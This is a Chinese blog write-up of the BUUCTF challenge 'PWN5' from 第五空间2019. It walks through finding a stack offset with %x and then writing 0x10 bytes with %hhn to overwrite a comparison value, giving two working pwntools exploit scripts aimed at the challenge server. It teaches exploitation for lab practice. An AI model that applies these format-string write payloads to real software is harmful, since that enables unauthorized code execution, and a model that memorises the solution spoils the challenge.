[第五空间2019 决赛]PWN5

参考文章:

格式化字符串漏洞原理及其利用(附带pwn例题讲解)_格式化字符串攻击教程-优快云博客

格式化字符串漏洞原理详解_静态编译 格式化'字符串漏洞-优快云博客

BUU pwn [第五空间2019 决赛]PWN5 //格式化字符串漏洞 - Nemuzuki - 博客园 (cnblogs.com)

栈溢出保护(cannary)

数据溢出保护(NX)

运行一下看看

输入对比

看源代码

首先第一步

发现后门

第二步找漏洞

这道题的漏洞是格式化字符串漏洞,详细的可以去看我开头引用的两个博客

我们的思路就是,找到我们数据输入的地方,然后把对比的数据的地址拿到,用我们输入的去给需要对比的数据赋值

我们先来找到我们数据的偏移量

from pwn import *
sh=remote('node5.buuoj.cn',27574)
payload = b'aaaaaaa\n %x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x'
sh.sendline(payload)
sh.sendline(str(0x10101010))
sh.interactive()

大家可以自己数一数,第十个就是我们输入的aaaa

接下来我们来看一下我们对比的数据的地址

可以看见

一共有四个数据段,一个数据段是一个字节

所以我们下面的代码要用 hhn(一个字节表示)

from pwn import *
sh=remote('node5.buuoj.cn',27574)
payload = p32(0x804c047)+p32(0x804c046)+p32(0x804c045)+p32(0x804c044)+b'%11$hhn%10$hhn%13$hhn%12$hhn'
sh.sendline(payload)
sh.sendline(str(0x10101010))
sh.interactive()

因为这个数据段,四个字节,我们每个字节都写入,一个0x803c047,4个字节 ,那么四个地址,16=0x10

然后我一直有几个点没动

看了好久这个exp,终于搞懂了

 三个点:

第一个这个后面的%11 12什么的,顺序随便,因为输入的数一样的,都是0x10

第二个,为什么是0x10101010,因为我们输入的数据要对比也是dword,我们传入0x10,在地址上也就是四个连续的0x10,这样就和

这个数据段对上了

第三个:为什么地址在前面-----这是无符号参数print的写法

地址在前面

最后这个exp就ok了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

name_name123

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值